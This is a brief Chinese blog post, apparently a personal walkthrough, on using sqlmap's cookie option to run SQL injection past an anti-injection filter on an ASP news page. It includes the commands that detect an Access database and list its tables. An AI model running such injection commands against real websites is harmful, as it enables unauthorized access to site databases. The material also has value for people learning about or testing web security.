使用sqlmap代替中转注入

以前碰到这样的防注入系统：

但是可以通过cookie提交注入，之前在win下直接使用寂寞的刺猬写的cookie注入中转工具搭建个本地服务器进行注入，现在mac系统下得开虚拟机，比较麻烦，
后面才知道sqlmap也能直接注入，于是就实战试试：

./sqlmap.py -u “http://xxxxx.com/shownews.asp” –cookie “id=118″ –level 3

检测出为access数据库：

列出表名：
./sqlmap.py -u “http://xxxxx.com/shownews.asp” –cookie “id=118″ –level 3 –tables